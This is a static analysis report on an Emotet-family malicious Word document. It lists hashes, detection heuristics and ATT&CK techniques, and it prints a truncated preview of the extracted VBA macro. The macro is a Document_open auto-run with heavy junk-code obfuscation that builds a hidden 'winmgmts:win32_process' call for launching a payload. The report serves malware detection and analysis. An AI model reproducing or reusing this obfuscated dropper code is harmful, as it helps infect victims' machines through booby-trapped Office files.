Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 823b76d8ea4cd3be…

MALICIOUS

Office (OLE)

192.2 KB Created: 2020-09-03 22:53:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 9acbc2d277f0a70b12544c7c2f83a075 SHA-1: 542cb01eebb16f498f8392f8979fd4c2eed38d8c SHA-256: 823b76d8ea4cd3be2c78852ebb743cbcb778f8c74e8e4e206a01376b006f2ea3
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro that is designed to execute obfuscated code. The ClamAV detection name 'Doc.Dropper.EmotetWinMob0920-9636503-0' strongly suggests Emotet family involvement and a dropper functionality. The macro's intent is to likely download and execute a second-stage payload, a common Emotet tactic.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13494 bytes
SHA-256: df857c45a3db5c6a6e31b970591a532912501f3c33d6cd46e3e570cfe8278778
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kfdzxxqiyvtvsiq7ja"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call H89x3z3b5tq.O36u5ofen_mter6l7
End Sub


Attribute VB_Name = "H89x3z3b5tq"
Attribute VB_Base = "0{781EB210-E01F-4F11-8E0C-5960A5A82410}{4A19C725-4461-4CAD-9D1F-953D9ABC6782}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function O36u5ofen_mter6l7()
   On Error Resume Next
Set HLklks = NJLLKsd
C77ezmf967qy = jsjjswww + wiiwjdd * Q0bj1xh6z9mj7 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(W7m4aeu6w2ywjwwjsi)
Kcnmcm1ljjmwqdk7 = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Z26g75hza8qyisw = W337p7keeywvf9bh
Znu8p5bcpsiix = (jkbasd / Eqhs43nlveovjqq)
T1qmio29yv9 = CDate(qwiiwi)
Pdow4_o9qtifxcpky = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Eolpqmexjya57j = 105
   On Error Resume Next
Set HLklks = NJLLKsd
C77ezmf967qy = jsjjswww + wiiwjdd * Q0bj1xh6z9mj7 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(W7m4aeu6w2ywjwwjsi)
Kcnmcm1ljjmwqdk7 = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Z26g75hza8qyisw = W337p7keeywvf9bh
Znu8p5bcpsiix = (jkbasd / Eqhs43nlveovjqq)
T1qmio29yv9 = CDate(qwiiwi)
Pdow4_o9qtifxcpky = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
C87dh_ylw_mq0pw9ng = ChrW$(Eolpqmexjya57j + (10))
   On Error Resume Next
Set HLklks = NJLLKsd
C77ezmf967qy = jsjjswww + wiiwjdd * Q0bj1xh6z9mj7 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(W7m4aeu6w2ywjwwjsi)
Kcnmcm1ljjmwqdk7 = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Z26g75hza8qyisw = W337p7keeywvf9bh
Znu8p5bcpsiix = (jkbasd / Eqhs43nlveovjqq)
T1qmio29yv9 = CDate(qwiiwi)
Pdow4_o9qtifxcpky = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Umwcd3y6cqklwu = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + C87dh_ylw_mq0pw9ng + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + H89x3z3b5tq.B72kqfa50fk06as9d + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Set HLklks = NJLLKsd
C77ezmf967qy = jsjjswww + wiiwjdd * Q0bj1xh6z9mj7 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(W7m4aeu6w2ywjwwjsi)
Kcnmcm1ljjmwqdk7 = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Z26g75hza8qyisw = W337p7keeywvf9bh
Znu8p5bcpsiix = (jkbasd / Eqhs43nlveovjqq)
T1qmio29yv9 = CDate(qwiiwi)
Pdow4_o9qtifxcpky = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Ofk00rxxidze8 = Nvub5bswsefx(Umwcd3y6cqklwu)
   On Error Resume Next
Set HLklks = NJLLKsd
C77ezmf967qy = jsjjswww + wiiwjdd * Q0bj1xh6z9mj7 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(W7m4aeu6w2ywjwwjsi)
Kcnmcm1ljjmwqdk7 = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
Z26g75hza8qyisw = W337p7keeywvf9bh
Znu8p5bcpsiix = (jkbasd / Eqhs43nlveovjqq)
T1qmio29yv9 = CDate(qwiiwi)
Pdow4_o9qtifxcpky = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
   On Error Resume Next
Set HLklks = NJLLKsd
C77ezmf967qy = jsjjswww + wiiwjdd * Q0bj1xh6z9mj7 / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoq
... (truncated)

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